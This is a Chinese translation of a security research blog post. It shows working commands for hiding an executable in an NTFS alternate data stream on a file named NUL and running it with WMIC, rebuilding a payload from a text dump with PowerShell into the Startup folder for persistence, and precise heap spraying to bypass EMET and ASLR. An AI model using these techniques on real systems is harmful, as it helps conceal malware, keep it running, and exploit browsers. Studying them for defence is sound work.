隐蔽替代数据流及其他ADS特性
我在阅读MSDN上一篇关于文件命名、路径和命名空间的文章时,发现了一些关于包含替代数据流的特定文件命名和创建的有趣特性。
我首先尝试使用保留设备名称"CON、PRN、AUX、NUL、COM1、LPT1等"来命名文件。例如:
1
|
C:\temp>echo hi > \\?\C:\temp\NUL
|
请注意,只有在路径前添加"\?"或"\.\GLOBALROOT\Device\HarddiskVolume[n]"前缀时才能创建此文件。随后,这也是删除该文件的唯一方法。
这种技术已被知晓超过一年,并有详细文档记录。
我发现有趣的是,当你创建附加到以任何保留设备名称命名的文件的替代数据流时,除非你在路径前添加"\?"前缀,否则’dir /R’和streams.exe都无法看到该替代数据流。此外,如果ADS恰好是一个可执行文件,可以使用WMIC执行它。例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
C:\temp>type C:\Windows\System32\cmd.exe > \\?\C:\temp\NUL:hidden_ADS.exe
C:\temp>dir /r C:\temp
Directory of C:\temp
09/17/2011 06:35 AM .
09/17/2011 06:35 AM ..
09/17/2011 06:37 AM 5 NUL
1 File(s) 5 bytes
C:\temp>streams C:\temp
Streams v1.56 - Enumerate alternate NTFS data streams
Copyright (C) 1999-2007 Mark Russinovich
Sysinternals - www.sysinternals.com
No files with streams found.
C:\temp>wmic process call create \\?\C:\temp\NUL:hidden_ADS.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 1620;
ReturnValue = 0;
};
|
那么这意味着什么?
- 你有一个几乎不可能删除的文件,除非你知道要添加’\?'前缀
- 你可以在设备名称文件中隐藏恶意文件/可执行文件在ADS中,使用传统工具无法检测
- 如果可执行文件隐藏在不可见的ADS中,可以通过WMIC执行
作为附加说明,根据同一篇MSDN文章:“整数表示在1到31范围内的字符,除了在替代数据流中允许这些字符。“这将允许某人使用alt字符创建ADS。例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
C:\temp>echo hi > C:\temp\test.txt
C:\temp>echo secret text > C:\temp\test.txt:^G^G^G
C:\temp>dir /R C:\temp
Directory of C:\temp
09/17/2011 07:09 AM .
09/17/2011 07:09 AM ..
09/17/2011 07:08 AM 5 test.txt
14 test.txt::$DATA
1 File(s) 5 bytes
C:\temp>more < C:\temp\test.txt:^G^G^G
secret text
|
该ADS以三个系统响铃字符命名。因此,不会打印任何内容,但目录列表会产生三声可听到的蜂鸣声。呵呵。没有什么惊天动地的,但这是另一种捉弄管理员或事件处理人员的方式。
底线:这些技术既可以作为良好的恶意软件持久化机制,也可以用来挫败任何事件处理人员。
使用PowerShell投放可执行文件
场景:你发现自己处于有限的Windows用户环境中,由于某种原因无法通过网络传输二进制文件。因此排除了使用浏览器、ftp.exe、mspaint(是的,mspaint可用于传输二进制文件)等进行文件传输。假设此工作站甚至没有连接到互联网。你有什么现有选项可以在目标机器上投放二进制文件?有经过验证的debug.exe方法,可以组装带有有效负载的文本文件。然而,这种方法将可执行文件的大小限制为64K,因为debug.exe是一个16位应用程序。此外,Microsoft已经从最近版本的Windows中移除了debug。另外,Didier Stevens展示了在PDF中嵌入可执行文件有多么容易。你也可以将可执行文件转换为VBscript并嵌入到Office文档中。这些应用程序不一定安装在每台机器上。幸运的是,从Windows 7和Server 2008开始,PowerShell默认安装。
因为PowerShell实现了.NET框架,你拥有令人难以置信的强大功能。我将演示一个用例,你可以从由可执行文件的十六进制表示组成的文本文件中创建可执行文件。你可以使用任何你希望的编译/脚本语言生成此文本文件,但既然我们讨论的是这个话题,我将向你展示如何在PowerShell中生成它:
1
2
|
PS > [byte[]] $hex = get-content -encoding byte -path C:\temp\evil_payload.exe
PS > [System.IO.File]::WriteAllLines("C:\temp\hexdump.txt", ([string]$hex))
|
第一行读取可执行文件的每个字节并将其保存到字节数组中。第二行将数组中的字节转换为字符串并将它们写入文本文件。生成的文本文件将如下所示:
1
|
77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 232 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 0 124 58 138 68 29 54 217 68 29 54 217 68 29 54 217 99 219 41 217 66 29 54 217 99 219 47 217 79 29 54 217 68 29 55 217 189 29 54 217 99 219 58 217 71 29 54 217 99 219 57 217 125 29 54 217 99 219 40 217 69 29 54 217 99 219 44 217 69 29 54 217 82 105 99 104 68 29 54 217 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
|
你可以看到每个字节都表示为十进制(77,90 = “MZ”)。
接下来,一旦你将文本文件放到目标机器上(teensy/USB HID设备将是一个理想的使用案例),可以使用PowerShell通过以下行从文本文件重构可执行文件:
1
2
3
|
PS > [string]$hex = get-content -path C:\Users\victim\Desktop\hexdump.txt
PS > [Byte[]] $temp = $hex -split ' '
PS > [System.IO.File]::WriteAllBytes("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\evil_payload.exe", $temp)
|
第一行将十六进制转储读入字符串变量。然后使用空格作为分隔符将字符串拆分为字节数组。最后,字节数组被写回文件,从而重新创建了原始可执行文件。
在撰写本文时,我偶然发现了Dave Kennedy和Josh Kelley关于PowerShell的工作,他们也偶然发现了这种生成可执行文件的相同方法。事实上,几个Metasploit有效负载使用类似但更巧妙的方法来完成此操作,使用压缩和base64编码。请务必查看他们一直在用PowerShell做的伟大工作。
定向堆喷射 - 0x0c0c0c0c已成为过去
传统上,堆喷射依赖于使用0x0C0C0C0C进行喷射,后跟shellcode,它既作为堆中的地址又作为一系列nop。然而,这并不十分可靠。你必须足够幸运,不会落在堆头或shellcode中的某个位置。此外,最新版本的EMET现在阻止执行地址0x0C0C0C0C或注册表中指定的任何其他任意地址。虽然这是防止堆喷射的徒劳尝试,但它需要另一种方法来可靠地在堆中执行shellcode。相反,有一种方法允许你可靠地分配既在可预测位置又内存页对齐(64K对齐)的shellcode。
事实证明,Javascript中至少512K的分配是使用VirtualAlloc分配的,它返回页面对齐的地址(即形式为0xXXXX0000)。我将此发现归功于Alexander Sotirov,因为我是从他那里学到这种技术的。有很多方法可以将shellcode放置在堆中,但字符串分配是javascript中经过验证的真实堆分配原语。堆上javascript字符串的格式如下:
[string length - 4 bytes][Unicode encoded string][\x00\x00]
因此,任何javascript字符串的长度都是6字节加上Unicode编码字符串的长度。此外,使用VirtualAlloc分配的堆块长度为0x20字节。因此,通过VirtualAlloc分配的shellcode将始终位于偏移0x24处。此外,因为每次分配都会产生一个64K对齐的地址,我们可以进行一系列恰好等于64K的字符串分配。这样,我们的shellcode的开始将始终位于形式为(0xXXXX0024)的地址。
以下javascript代码通过分配一个包含16个64K字符串(即1兆字节)的数组来利用这些概念。注意第十六次分配考虑了堆头和字符串长度的大小,以便恰好分配1兆字节。然后将结果数组分配一百次,产生恰好100MB的分配。
运行上面的javascript代码,并在WinDbg中按照以下分析进行。首先查看Internet Explorer中堆的地址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
!heap -stat
_HEAP 00360000
Segments 00000001
Reserved bytes 00100000
Committed bytes 000f1000
VirtAllocBlocks 00000001
VirtAlloc bytes 035f0000
_HEAP 035b0000
Segments 00000001
Reserved bytes 00040000
Committed bytes 00019000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
_HEAP 00750000
Segments 00000001
Reserved bytes 00040000
Committed bytes 00012000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
_HEAP 00270000
Segments 00000001
Reserved bytes 00010000
Committed bytes 00010000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
_HEAP 02e20000
Segments 00000001
Reserved bytes 00040000
Committed bytes 00001000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
_HEAP 00010000
Segments 00000001
Reserved bytes 00010000
Committed bytes 00001000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
|
查看具有大分配的堆的"VirtAlloc bytes"字段。我们感兴趣的堆地址是第一个 - “_HEAP 00360000”
接下来,查看该堆句柄的分配统计信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
!heap -stat -h 00360000
heap @ 00360000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
fffe0 65 - 64ff360 (99.12)
40010 1 - 40010 (0.25)
1034 10 - 10340 (0.06)
20 356 - 6ac0 (0.03)
494 16 - 64b8 (0.02)
5ba0 1 - 5ba0 (0.02)
5e4 b - 40cc (0.02)
4010 1 - 4010 (0.02)
3980 1 - 3980 (0.01)
d0 3e - 3260 (0.01)
460 b - 3020 (0.01)
1800 2 - 3000 (0.01)
800 6 - 3000 (0.01)
468 a - 2c10 (0.01)
2890 1 - 2890 (0.01)
78 52 - 2670 (0.01)
10 215 - 2150 (0.01)
1080 2 - 2100 (0.01)
2b0 c - 2040 (0.01)
2010 1 - 2010 (0.01)
|
我们整齐的分配在这里真的很突出。恰好有0x65(101十进制)个大小为0xfffe0(1 MB减去20字节堆头)的分配。
WinDbg的一个不错的功能是你可以查看特定大小的堆块。以下命令列出所有大小为0xfffe0的堆块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
!heap -flt s fffe0
_HEAP @ 360000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
037f0018 1fffc fffc [00] 037f0020 fffe0 - (busy VirtualAlloc)
038f0018 1fffc fffc [00] 038f0020 fffe0 - (busy VirtualAlloc)
039f0018 1fffc fffc [00] 039f0020 fffe0 - (busy VirtualAlloc)
03af0018 1fffc fffc [00] 03af0020 fffe0 - (busy VirtualAlloc)
03bf0018 1fffc fffc [00] 03bf0020 fffe0 - (busy VirtualAlloc)
05e80018 1fffc fffc [00] 05e80020 fffe0 - (busy VirtualAlloc)
05f80018 1fffc fffc [00] 05f80020 fffe0 - (busy VirtualAlloc)
06080018 1fffc fffc [00] 06080020 fffe0 - (busy VirtualAlloc)
06180018 1fffc fffc [00] 06180020 fffe0 - (busy VirtualAlloc)
...
0aa80018 1fffc fffc [00] 0aa80020 fffe0 - (busy VirtualAlloc)
0ab80018 1fffc fffc [00] 0ab80020 fffe0 - (busy VirtualAlloc)
0ac80018 1fffc fffc [00] 0ac80020 fffe0 - (busy VirtualAlloc)
0ad80018 1fffc fffc [00] 0ad80020 fffe0 - (busy VirtualAlloc)
0ae80018 1fffc fffc [00] 0ae80020 fffe0 - (busy VirtualAlloc)
0af80018 1fffc fffc [00] 0af80020 fffe0 - (busy VirtualAlloc)
0b080018 1fffc fffc [00] 0b080020 fffe0 - (busy VirtualAlloc)
0b180018 1fffc fffc [00] 0b180020 fffe0 - (busy VirtualAlloc)
0b280018 1fffc fffc [00] 0b280020 fffe0 - (busy VirtualAlloc)
0b380018 1fffc fffc [00] 0b380020 fffe0 - (busy VirtualAlloc)
_HEAP @ 10000
_HEAP @ 270000
_HEAP @ 750000
_HEAP @ 2e20000
_HEAP @ 35b0000
|
注意每次分配是如何按顺序分配的。
现在我们有了每个堆块的地址,我们可以开始检查内存中的0x41:
1
2
3
4
5
6
7
8
9
|
0:007> db 06b80000
06b80000 00 00 c8 06 00 00 a8 06-00 00 00 00 00 00 00 00 ................
06b80010 00 00 10 00 00 00 10 00-61 65 15 29 00 00 00 04 ........ae.)....
06b80020 da ff 0f 00 41 41 41 41-41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA
06b80030 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
06b80040 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
06b80050 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
06b80060 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
06b80070 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
你可以清楚地看到偏移0x20处的字符串长度 - 000fffda,这是字符串的长度减去空终止符。
分析堆分配的另一种方法是通过VMmap的碎片视图 - Sysinternals套件中许多非常有用的工具之一。下图显示了1000MB的分配。在碎片视图中,你可以放大并单击单个分配,并确认每个堆分配(橙色)以形式为0xXXXX0000的地址开始。
那么为什么这种技术如此有用?当利用use-after-free漏洞时,这种堆喷射方法是完美的,攻击者可以在其中制作假对象和vtable结构。然后,假的vtable指针可以指向堆范围内的地址 - 例如0x11F50024。因此,不需要依赖nop,也不需要担心EMET任意阻止执行0x0C0C0C0C样式地址。就所有目的而言,你已经完全绕过了ASLR保护。